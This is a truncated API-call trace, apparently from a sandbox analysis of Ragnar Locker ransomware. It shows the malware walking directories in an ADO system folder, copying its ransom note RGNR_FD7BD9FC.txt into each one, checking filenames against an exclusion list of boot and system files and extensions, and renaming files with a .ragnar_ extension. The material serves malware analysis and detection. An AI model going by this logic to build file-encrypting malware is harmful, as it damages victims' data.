[0078.558] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\" [0078.558] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\" [0078.558] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\RGNR_FD7BD9FC.txt" [0078.558] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.560] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*" [0078.560] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x36 [0078.560] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.560] lstrcpyW (in: lpString1=0x1ea73a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8111aac0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.560] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.560] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8111aac0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.560] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.560] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.560] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0078.560] lstrcmpiW (lpString1="msader15.dll.mui", lpString2=".") returned 1 [0078.560] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="..") returned 1 [0078.560] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8111aac0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.560] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.560] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.560] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8111aac0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.560] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8111aac0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.561] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8111aac0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.561] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0078.561] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x36 [0078.561] lstrcpyW (in: lpString1=0x1eab4e, lpString2="msader15.dll.mui" | out: lpString1="msader15.dll.mui") returned="msader15.dll.mui" [0078.561] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned=".mui" [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="autorun.inf") returned 1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="boot.ini") returned 1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="bootfont.bin") returned 1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="bootsect.bak") returned 1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="bootmgr") returned 1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="bootmgr.efi") returned 1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="bootmgfw.efi") returned 1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="desktop.ini") returned 1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="iconcache.db") returned 1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="ntldr") returned -1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="ntuser.dat") returned -1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="ntuser.dat.log") returned -1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="ntuser.ini") returned -1 [0078.561] lstrcmpiW (lpString1="msader15.dll.mui", lpString2="thumbs.db") returned -1 [0078.561] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.561] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.561] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.561] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.561] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.561] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.561] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0078.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.562] CloseHandle (hObject=0xffffffff) returned 0 [0078.562] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" [0078.562] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.ragnar_FD7BD9FC" [0078.562] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.562] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8111aac0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.562] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x36 [0078.562] lstrcpyW (in: lpString1=0x1eab4e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.563] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.563] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.563] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8111aac0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.563] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.563] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0078.563] lstrcmpiW (lpString1="msader15.dll", lpString2=".") returned 1 [0078.563] lstrcmpiW (lpString1="msader15.dll", lpString2="..") returned 1 [0078.563] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0078.563] lstrcmpiW (lpString1="msado15.dll", lpString2=".") returned 1 [0078.563] lstrcmpiW (lpString1="msado15.dll", lpString2="..") returned 1 [0078.563] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0078.563] lstrcmpiW (lpString1="msado20.tlb", lpString2=".") returned 1 [0078.563] lstrcmpiW (lpString1="msado20.tlb", lpString2="..") returned 1 [0078.563] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0078.563] lstrcmpiW (lpString1="msado21.tlb", lpString2=".") returned 1 [0078.563] lstrcmpiW (lpString1="msado21.tlb", lpString2="..") returned 1 [0078.563] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0078.563] lstrcmpiW (lpString1="msado25.tlb", lpString2=".") returned 1 [0078.563] lstrcmpiW (lpString1="msado25.tlb", lpString2="..") returned 1 [0078.563] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0078.563] lstrcmpiW (lpString1="msado26.tlb", lpString2=".") returned 1 [0078.563] lstrcmpiW (lpString1="msado26.tlb", lpString2="..") returned 1 [0078.563] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0078.563] lstrcmpiW (lpString1="msado27.tlb", lpString2=".") returned 1 [0078.563] lstrcmpiW (lpString1="msado27.tlb", lpString2="..") returned 1 [0078.563] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0078.563] lstrcmpiW (lpString1="msado28.tlb", lpString2=".") returned 1 [0078.563] lstrcmpiW (lpString1="msado28.tlb", lpString2="..") returned 1 [0078.563] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0078.563] lstrcmpiW (lpString1="msadomd.dll", lpString2=".") returned 1 [0078.563] lstrcmpiW (lpString1="msadomd.dll", lpString2="..") returned 1 [0078.563] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0078.563] lstrcmpiW (lpString1="msadomd28.tlb", lpString2=".") returned 1 [0078.563] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="..") returned 1 [0078.563] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0078.564] lstrcmpiW (lpString1="msador15.dll", lpString2=".") returned 1 [0078.564] lstrcmpiW (lpString1="msador15.dll", lpString2="..") returned 1 [0078.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0078.564] lstrcmpiW (lpString1="msadox.dll", lpString2=".") returned 1 [0078.564] lstrcmpiW (lpString1="msadox.dll", lpString2="..") returned 1 [0078.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0078.564] lstrcmpiW (lpString1="msadox28.tlb", lpString2=".") returned 1 [0078.564] lstrcmpiW (lpString1="msadox28.tlb", lpString2="..") returned 1 [0078.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0078.564] lstrcmpiW (lpString1="msadrh15.dll", lpString2=".") returned 1 [0078.564] lstrcmpiW (lpString1="msadrh15.dll", lpString2="..") returned 1 [0078.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8111aac0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.564] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.564] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8111aac0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.564] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8111aac0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8111aac0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0078.564] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common 